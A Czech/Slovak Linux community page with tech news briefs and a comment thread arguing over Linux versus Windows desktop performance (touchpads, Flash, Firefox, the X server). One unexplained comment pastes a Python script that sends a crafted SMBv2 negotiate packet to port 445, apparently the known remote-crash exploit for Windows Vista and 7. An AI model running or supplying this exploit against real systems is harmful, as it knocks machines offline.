Vývojáři Kali Linuxu upozorňují na nový klíč pro podepisování balíčků. K původnímu klíči ztratili přístup.
V březnu loňského roku přestal být Redis svobodný. Společnost Redis Labs jej přelicencovala z licence BSD na nesvobodné licence Redis Source Available License (RSALv2) a Server Side Public License (SSPLv1). Hned o pár dní později vznikly svobodné forky Redisu s názvy Valkey a Redict. Dnes bylo oznámeno, že Redis je opět svobodný. S nejnovější verzí 8 je k dispozici také pod licencí AGPLv3.
Oficiální ceny Raspberry Pi Compute Modulů 4 klesly o 5 dolarů (4 GB varianty), respektive o 10 dolarů (8 GB varianty).
Byla vydána beta verze openSUSE Leap 16. Ve výchozím nastavení s novým instalátorem Agama.
Devadesátková hra Brány Skeldalu prošla portací a je dostupná na platformě Steam. Vyšel i parádní blog autora o portaci na moderní systémy a platformy včetně Linuxu.
Lidi dělají divné věci. Například spouští Linux v Excelu. Využít je emulátor RISC-V mini-rv32ima sestavený jako knihovna DLL, která je volaná z makra VBA (Visual Basic for Applications).
Revolut nabídne neomezený mobilní tarif za 12,50 eur (312 Kč). Aktuálně startuje ve Velké Británii a Německu.
Společnost Amazon miliardáře Jeffa Bezose vypustila na oběžnou dráhu první várku družic svého projektu Kuiper, který má z vesmíru poskytovat vysokorychlostní internetové připojení po celém světě a snažit se konkurovat nyní dominantnímu Starlinku nejbohatšího muže planety Elona Muska.
Poslední aktualizací začal model GPT-4o uživatelům příliš podlézat. OpenAI jej tak vrátila k předchozí verzi.
Google Chrome 136 byl prohlášen za stabilní. Nejnovější stabilní verze 136.0.7103.59 přináší řadu novinek z hlediska uživatelů i vývojářů. Podrobný přehled v poznámkách k vydání. Opraveno bylo 8 bezpečnostních chyb. Vylepšeny byly také nástroje pro vývojáře.
Tiskni
Sdílej:
touchpad je v linuxe menej citlivy bez ohladu na distribuciu.A já říkám, že není, přeber si to.
flash pada bez ohladu na prehliadac, ako som aj napisal v blogu.To teda nepadá, když mi nikdy nespadl.
chromium (chrome) nie je zle, ale... pisal som vseobecne o aplikaciach a ich odozve - firefox, gimp, inkscape, vsetko je v linuxe vizualne s pomalsou odozvouNic takového nepozoruji a to Gimp Chromium nebo Gajim používám na obou platformách.
kde moze byt potom problem s torrentom, ked rebootnem do windows, spustim rovnaky torrent s rovnakym nastavenim portov, poctu pripojeni, ... a vo windows to leti.To mi je fuk, kde máš problém, ale když mi to stahuje maximální rychlostí, tak problém evidentně není všeobecný.
ja rozoznavam problem aplikacii a systemu.Evidentně ne.
Ma to podle tebe vyznam rvat "Linux rules!"Podívej se výše a poznáš, že tam žádné linux rules nepadlo. Doporučuju očního.
man synaptics
#!/usr/bin/python from socket import socket from time import sleep host = "IP_ADDR", 445 buff = ( "\x00\x00\x00\x90" "\xff\x53\x4d\x42" "\x72\x00\x00\x00" "\x00\x18\x53\xc8" "\x00\x26" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00" ) s = socket() s.connect(host) s.send(buff) s.close()
Lze pak dělat hodně zajímavé tweakování čehokoliv, co se jen touchpadu přiblíží. Nevím, jak moc jsi se snažil při řešení svého problému, ale řekl bych, že asi moc ne :-/Hele, sorry, že ti do toho vstupuju, ale já mám pocit, že chlapec nám chtěl sdělit, že místo nějakýho tweakování chce raději klikat. A tím se dostáváme k jádru pudla. Když si tu někdo postěžuje, že v Linuxu se musí všechno nastavovat, tak je oheň na střeše, že to je lež. Když si někdo posteskne, že výchozí konfigurace je přinejmenším diskutabilní, tak mu pošleš linky na nějaký tweakování. Tak jak to teda je? Udělejte si tu pořádek, jó.
.bashrc
, .profile
, konfigurace vimů a emacsů. Mít dobrý defaultní nastavení je dost praktická věc.To zajisté je. Ale soudit na kvalitu defaultního nastavení podle jedné konkrétní zkušenosti nedává smysl.
Což je mimochodem děsně praktický, když sdíliš jeden účet s vícero lidmi.Což je možná další z důvodů proti sdílení účtů více lidmi ;)
ale povez mi prosim - kolikpak, Karkulko, spravujes pocitacu?Okolo 80 a nemám s tím sebemenší problémy.
Default nastaveni ma sve opodstatneni a proto do nej firmy typu MS a Apple lejou prachy.Apple možná, ale MS rozhodně ne.
.kde/share/config/kcmtouchpadrc
Z tohohle hlediska je textové nastavení často praktičtější, protože tám máš ty číselný hodnoty všechny pěkně pohromadě a vidíš jejich skutečnou hodnotu. V klikacím dialogu máš obvykle jakýsi grafický prvek nejisté povahy a je to celé rozděleno do X tabů...Ja nerikam ze ne, ale takto BFU nefunguje. Osobne sam nevim, jak si mam nastavit napr. obnovovaci frekvenci monitoru, kdyz na me vybafne manualni vyber. Sam bych v tomto pripade "zaruceny textak" asi ocenil ze vseho nejvic, ale BFU ani nebude vedet co s nim... Proto radeji BFU zvoli napr. u Mouse Motion pofiderni hodnotu 4 z 10ti, klikne na Pouzit a rovnou odzkousi. Pokud no good, tak zvoli hodnotu jinou. Coz vlastne ja presne delam ve 3D FPS-kach. Nebo snad pouzivas .conf textak i na tohle? (Hint: OS neni pro bezne lidi modla ale pouhy zavadec ruznych hovadin.)
Linuxova verzia Firefoxu je otrasna, to potvrdi kazdy, co nie je uplne slepy.Zcela souhlasím. Jen je to důsledek obecnějšího pozorování, totiž že Firefox je otřesný sám o sobě
Ze X server je na desktop nevhodny, to je fakt.Ne, to není fakt. To je tvrzení bez jediného náznaku důkazu. Tak řečené plácání.
Zrovna u X serveru by se tech argumentu asi nasla hromada - tak napriklad procesorovy cas straveny vykreslovanim je uctovan X serveru a ne procesu, ktery je za nej skutecne odpovedny (prislusny X klient).To ovšem předpokládá, že se dá nějakým rozumným způsobem nadefinovat, který proces je za operaci odpovědný. Pokud se překresluje obsah okna proto, že z něj někdo odsunul jiné okno, není za operaci odpovědný ten proces, který ono jiné okno odsunul? Nedávalo by naopak smysl, aby účtování času řešil X server, který jako jediný rozumí sémantice operací?
Standardni kreslici funkce X jsou v mnoha ohledech padle na hlavuJasně – ale to jsou přeci obecné problémy X serveru (respektive spíš protokolu než serveru), které nejsou nijak specifické pro použití na desktopu. A jak všichni rádi na X Window System nadávají, ještě se bohužel nenašel nikdo, kdo by přišel s něčím lepším, což je škoda (IMHO ani ve windowsovém světě).
To ovšem předpokládá, že se dá nějakým rozumným způsobem nadefinovat, který proces je za operaci odpovědný. Pokud se překresluje obsah okna proto, že z něj někdo odsunul jiné okno, není za operaci odpovědný ten proces, který ono jiné okno odsunul?Zrovna v tomhle bych problem nevidel. Za kreslici operaci je proste odpovedny ten, kdo ji iniciuje. Okna se obvykle neposouvaj sami od sebe. Pokud se prekresluje obsah okna proto, ze z nej nekdo odsunul jine okno, tak na to lze nahlizet tak, ze odkrytim uzivatel pozadal program o to, aby se prekreslil. Hypoteticky priklad okna samovolne se hejbajiciho po plose aby aktivivalo prekreslovaci rutiny ostatnich programu asi muzeme zanedbat. Osobne si myslim, ze muzeme zanedbat jakekoliv prekreslovani aktivivane zmenou rozlozeni oken - to bude minimum proti prekreslovani programu pri praci s nima.
Nedávalo by naopak smysl, aby účtování času řešil X server, který jako jediný rozumí sémantice operací?Myslis, ze je prakticky mozne to udelat lepe, nez na zaklade spotrebovaneho casu CPU/GPU? Ze jine reseni nebude znacne komplikovane? Nehlede na to, ze uctovani a scheduling v X serveru znacne znesnadnuje integraci se souvisejicimi jadernymi zalezitostma jako cgroups.
Jasně – ale to jsou přeci obecné problémy X serveru (respektive spíš protokolu než serveru), které nejsou nijak specifické pro použití na desktopu.Ona taky veta 'X server je nevhodny pro desktop' je jen instanci obecnejsi 'X server je nevhodny'. ;–)
Myslis, ze je prakticky mozne to udelat lepe, nez na zaklade spotrebovaneho casu CPU/GPU? Ze jine reseni nebude znacne komplikovane?Po pravdě řečeno, zatím nejsem ani přesvědčen, že problém existuje, takže nevím, jak by mohlo vypadat jeho správné řešení
Po pravdě řečeno, zatím nejsem ani přesvědčen, že problém existuje, takže nevím, jak by mohlo vypadat jeho správné řešeníPozadavek na to, aby dva (ci vic) bezicich procesu dostavalo umerne mnozstvi systemovych zdroju je vcelku prirozeny. Pokud budu mit pusteny program neumerne vytezujici grafiku, tak ocekavam, ze by melo byt mozne bez potizi a bez vyznamneho zpomaleni (rekneme pomerneho) pouzivat ostatni programy, pripadne pouzit nejaky nice-like mechanismus pro vyraznejsi omezeni takoveho procesu. Neni neobvykle, ze program spotrebovava srovnatelne mnozstvi procesoroveho casu jak primo, tak zprostredkovane pres X server.
Tohle ovšem není problém specifický pro grafiku a uživatelské rozhraní – v nějaké podobě existuje, kdykoliv jeden program využívá služeb programů jiných, což je v dnešní době čím dál tím běžnější..To je pravda, ale myslim, ze zrovna X server vsechny ostatni takove pripady majorizuje.
Pozadavek na to, aby dva (ci vic) bezicich procesu dostavalo umerne mnozstvi systemovych zdroju je vcelku prirozeny.A nedává pak smysl prohlásit výkon X serveru za jeden ze systémových zdrojů a nechat X server, ať tento prostředek nějakým rozumným způsobem rozděluje aplikacím? (Tím budu vyrovnávat nejen procesorový čas, ale také vytížení grafické karty, což může být v dnešní době důležitější.)
A nedává pak smysl prohlásit výkon X serveru za jeden ze systémových zdrojů a nechat X server, ať tento prostředek nějakým rozumným způsobem rozděluje aplikacím?Jenze ten zdroj je jen obal nad skutecnym zdrojem - casem CPU a casem GPU. Kdyz budes mit scheduling na X serveru, tak mas problem s tim, ze ti budou pretahovat CPU-zrave aplikace s graficky-zravyma aplikacema o CPU. Pokud reknes ze pro systemovy scheduler je X server normalni proces jako kazdy jiny, pak ti mnoho CPU-zravych uloh omezi graficke aplikace, pokud naopak reknes, ze X server ma vysokou prioritu, tak ti jedna graficky-zrava aplikace omezi CPU-zrave aplikace. A co se tyce casu GPU, tak staci pustit OpenGL aplikaci vyuzivajici DRI a X server toho moc neuscheduluje. Proto me prijde rozumnejsi cesta schedulovat ty veci na urovni jadra a u casu CPU dohromady s ostatnimi uzivateli CPU.
Proto me prijde rozumnejsi cesta schedulovat ty veci na urovni jadraOK -- a máš nápad, jak to udělat?
Linuxova verzia Firefoxu je otrasna, to potvrdi kazdy, co nie je uplne slepy.
Jak mi tedy vysvětlíte, že dokážu přečíst váš příspěvek?
Ze X server je na desktop nevhodny, to je fakt.
Fakt je nanejvýš to, že vy máte takový názor.
Moje kolečko je taky hranatýNevzpomínám si, že bych tě tu někdy viděl nadávat na masox. Všechno je jednou poprvé?
problem s flashom mi to asi nevyriesi, vsak?Problem s flashem se nejlepe vyresi tim, ze se zadny flashovy plugin nenainstaluje.
Touchpad - na kliknutie má väčšiu citlivosť ako v Linuxe.
Prečo by v linuxe nemohol mať menšiu citlivosť? Osobne by som napr. privítal aby touchpad reagoval na kladivo, alebo iné podobné polohovacie zariadenie. Ešte, že starý book s touchpadom už nemám a na novom žiaden touchpad nie je.
syndaemon -t -k -d -i 2 -k Ignore modifier keys when monitoring keyboard activity. -t Only disable tapping and scrolling, not mouse movements, in response to keyboard activity.Prip. -i 1
Touchpad - no nevim pokazdy to slo nekde nastavit - ja s tim nikdy nerejpal, ve windows tak jak v jakekoli distribuci.
Flash - nepamatuji ze by nekdy shodil prohlizec ci co a to na zadne z rozebiranych platforem. Pokud nepotrebuji sledovat nejaka videa tak jej mam zakazany kvuli reklamam.
Klienti site torrent - nevim nepoznal jsem jakekoli rozdily mezi klientama ani mezi OS na nichz bezi. Je-li dostatek uzivatelu sdilejicich napr nejakou distribuci tak to vali co da linka - zde nema cenu zkouset windows a ani jine klienty.
Lenivost aplikaci ... vite o tom ze windows vista i seven "predcitaji" v prubehu startu aplikace jez uzivatel pouziva nejcasteji ? Pokud si toto vypnete v msconfigu tak bude rovnaky Firefox stejne "lenivy" i ve windows. A totez i ostatni aplikace jez pouzivate.
Zaverem .... nejlepsi je takovy system o kterem nevim a nemusim se o nej starat ... a toto windows prave nejsou pac neustale bobtnaji a zpomaluji se coz obnasi obsacne obnoveni kompletniho systemu ze zaloh, ktere je potreba prubezne tvorit.
Pokud toto clovek dela tak je i windows pomerne velmi dobre pouzitelny system stale rychly, bezpecny a cisty.
Je to neco jako motorkari a automobilisti. Automobilisti (windows) maji stovky argumentu ze je masina na ho**o a jejich auto je nejlepsi v kazde situaci avsak zapominaji ze motorkari (GNU/Linux) chcou byt motorkarema (Linuxarema) proto protoze je to bavi.
Totez pejskari a kockari. Pejskaru je mnohem vic oproti kockarum (psa ma kdejaky moula jez ma sotva na to aby ho uzivil) a pritom oboji jsou domaci mazlicci. Pejskari rikaji jak je kocka na h***o ze nehlida, kurvi potahy na sedacce .....
Na pejskare se nadava ze je po ulicich nasr**y .....
Holt ve vsem je nejake + a -
Lenivost aplikaci ... vite o tom ze windows vista i seven "predcitaji" v prubehu startu aplikace jez uzivatel pouziva nejcasteji ? Pokud si toto vypnete v msconfigu tak bude rovnaky Firefox stejne "lenivy" i ve windows. A totez i ostatni aplikace jez pouzivate.Mě udivuje, že v roce 2010, a navíc na linuxovém serveru, ještě pořád existuje někdo, kdo si myslí, že rychlost softwarového produktu rovná se rychlost jeho startu, a vůbec si nedokáže představit, že by se rychlost mohla týkat jakéhokoli jiného aspektu než této jedné bezvýznamné prkotiny. O které navíc autor tohoto blogového zápisku vůbec nepsal. Jinak to je samozřejmě naprostá pitomost. Firefox ve Windows není stejně lenivý jako na Linuxu prostě z toho důvodu, že jeho GUI se na Windows vykresluje několikanásobně rychleji než na Linuxu (protože na Linuxu visí na celé té pomalé vykreslovací infrastruktuře pod tím). To je velmi dobře známý fakt, který je platný celou dobu, od kdy Mozilla zavedla XUL. Já si tu dobu před 10 lety dobře pamatuji. Tehdy, na nějakém Pentiu 133 MHz, bylo GUI Mozilly líné i na Windows, ale dalo se ještě používat, ale na stejném stroji na Linuxu to prostě nebylo použitelné skoro vůbec, tam prostě člověk kliknul třeba na nabídku a pak čekal několik sekund, než se postupně vykreslí na obrazovku. No od té doby se počítače mnohonásobně zrychlily, takže postupem času začalo být XUL „jen“ líné, ale použitelné i na Linuxu, ale ten rychlostní rozdíl nikdy nezmizel, ten je celých těch 10 let dobře pozorovatelný a měřitelný na každém počítači, na kterém jsem za těch 10 let měl čest Mozillu vyzkoušet. Kdo říká, že to nepozoruje, sám si odpovídá – nepozoruje, tudíž nevidí. Kdo pozoruje, vidí. Např. na mém 3GHz dvoujádru dodnes na Linuxu vidím, jak se třeba dialogu pro uložení sezení ve Firefoxu (který sestává z textu o jedné větě a tří tlačítek) nechce se ukázat. Chvíli nic, pauza, potom se objeví kostra dialogu, potom se postupně zleva doprava vykreslí... Samozřejmě na Windows je celý dialog okamžitě na obrazovce v momentě kliknutí myší. A takových věci jsou tisíce. A samozřejmě se to týká GUI obecně. Spousta aplikací má prostě daleko rychlejší grafiku a nižší režii GUI (několikanásobně nižší vytížení procesoru) pod Windows. Vykreslování pod Windows je prostě daleko rychlejší a efektivnější než na jiných systémech, což celé dlouhé roky bez jediné výjimky potvrzují i všechny benchmarky 2D grafiky, které kdy byly provedeny. Je to několikanásobný rozdíl, někdy dokonce i v řádech tisíců procent. Určitou šancí do budoucna jsou jen projekty, které co nejvíc obcházejí pomalé X.org, a tím grafiku výrazně urychlují. Jako cairo-drm, které, ač zatím experimentální, tak oproti standardnímu Cairu, které nepoužívá přímé vykreslování a kreslí přes X.org, nabízí na grafických kartách Intel 250x rychlejší kreslení gradientů, 50x rychlejší vykreslování u různých operací a 4x rychlejší kreslení textu. To už je úroveň, která se konečně, poprvé v historii, bude dát srovnávat s Windows. A mimo jiné i dokazuje, že X11 je skutečně tak beznadějně shnilé a grafiku zpomalující, jak se o něm desítky let traduje.
Protipříkladem na Vaši teorii je například Google Chrome, který i na X11 vše vykresluje bez viditelné prodlevy. To by podle Vás nemělo jít, ne?Linuxové Chromium má na mém počítači měřitelně 2x-3x pomalejší, CPU vytěžující scrollování než jakýkoli jiný prohlížeč. A i nezávislý benchmark, který jsem viděl, ukazuje, že linuxová verze má rolování 3x pomalejší než na Windows. Klasika.
(Mimochodem, nepoužívá na Windows systémový dialog na výběr souboru, zatímco na Linuxu svůj vlastní XULový?)Jednak jsem nepsal o dialogu pro výběr souboru, jednak dialog pro výběr souboru je speciální případ, kdy Firefox používá systémový dialog platformy – na Windows nativní Windows dialog, na Linuxu nativní GTK+ dialog (který je mimochodem taky několikanásobně pomalejší než ten od Microsoftu). Čili tam na to Firefox nemá vliv. Ale o tom jsem nepsal.
A i nezávislý benchmark, který jsem viděl[citation needed] Velmi by mne zajímalo, jak se takové věci, jako odezva UI dají solidně měřit a jestli to už někdo doopravdy dělá, nebo jestli je to jen další dojmologie.
Jestli se nepletu, tak to byl tento test:A dokáže tenhle test rozlišit, jestli prohližeč doopravdy scrolluje, nebo jestli obraz překresluje po delších časových intervalech? Pokud nedokáže, tak číslo, které naměří, o rychlosti GUI vypovídá pramálo...
Mimochodem, skoro všichni, kteří ho zkoušeli, svorně hlásili, že Chrome je suverénně nejpomalejší.Připočtěte si tedy, prosím, jeden hlas pro opačný názor :) Právě jsem si Chrome a Firefox zkusil porovnat: rychlost scrollování stejná (ani u jednoho nemám pocit, že by scrollování bylo čímkoliv bržděno), zato přepnutí na jiný tab v Chrome bez pozorovatelného zpoždění, ve Firefoxu odhadem 200ms (což už je citelné zpomalení). (Na okraj dodávám, že i když mi Chrome přijde daleko rychlejší, stejně většinou používám Firefox, protože Vimperator je prostě návykový :) )
To je velmi kvalitní ukazatel rychlosti.Jediný dobrý ukazatel rychlosti je, jestli při běžném použití programu (na systému tak zatíženém, jak ho obvykle mám), musím na program čekat nebo nikoliv. [Váš argument nefunguje, protože pro každý program existuje nějaké vytížení počítače, ve kterém bude program nepoužitelně pomalý. Naopak některé programy se mohou zatížení procesoru přizpůsobovat a pokud zjistí, že je výkonu málo, mohou překreslovat méně často atd.]
Na X11 všichni rádi nadávají, ale málokdo se pustí do opravdového profilování, aby se přesvědčil, že ho zpomaluje opravdu X11.Co se tyka prohlizece, kdys si pustim prohlizec Epiphany, a zobrazim nejakou stranku s aktivnim javascriptem periodicky menicim (a tedy prekreslujicim) stranku a vedle si pustim top, tak casto vidim rozdeleni CPU pul na pul mezi X server a Epiphany.
Celou dobu, co používám Linux, se píše o tom, že se pracuje na optimalizaci výkonu grafiky,Zde se velmi lišíme v názoru na to, kde jsou nejužší hrdla. Pokud si zkusíte téměř libovolnou "moderní" Xkovou aplikaci spustit po hodně pomalé lince, všimnete si například, že spoustu věcí překresluje mnohokrát po sobě. Tento jednoduchý experiment ukazuje, že obrovské výkonové rezervy jsou i v toolkitech. Toto ovoce visí daleko níže, ale nikdo se mu moc nevěnuje a všichni raději nadávají na X11 a snaží se vymyslet, jak kreslení zrychlit, místo aby přemýšleli nad tím, jestli se náhodou 90% kreslících operací neprovádí úplně zbytečně.
Určitou šancí do budoucna jsou jen projekty, které co nejvíc obcházejí pomalé X.org, a tím grafiku výrazně urychlují. Jako cairo-drm, které, ač zatím experimentální, tak oproti standardnímu Cairu, které nepoužívá přímé vykreslování a kreslí přes X.orgJenze proti Cairu je rychle asi uplne vsechno - i prime pouziti X renderu. Napr. jednoduchy benchmark alphablendujici obdelnikove pixmapy me vychazel asi 15* rychlejsi pri primem pouziti X renderu nez pri pouziti Caira.
>>> Děkuji snad za první objektivní názor Linuxáka o Windows.
To teda moc nazory nectete ... tak mozna na zive.cz
Problem rozepri neni dokonalost resp nedokonalost jednoho ci druheho systemu, ale obecny problem ve vztahu majorit a minorit.
Cesti nemaji radi romy, heterosexualove nemaji radi teplouse .... a tak bychom mohli pokracovat dal a dal s tim ze semtam se najdou vyjimky ... cech ma za nejlepsiho kamarada roma, se kterym chodi na pivo a je to fakt super borec, heterosexual ma za nejlepsiho kamaraa gaye a chodej spolu na pivo a je to jeho nejlepsi kamarad ........
>>> a ten je tak namistrovanej, že ho opravdu nemusí skoro nikdo
No vidite. Nakonec je problem jen v par lidech tak co to resit.
>>> Ale tady si to probírám dost často.
To je spravne pac je treba byt v IT vseobecne informovan a OS nezavisly.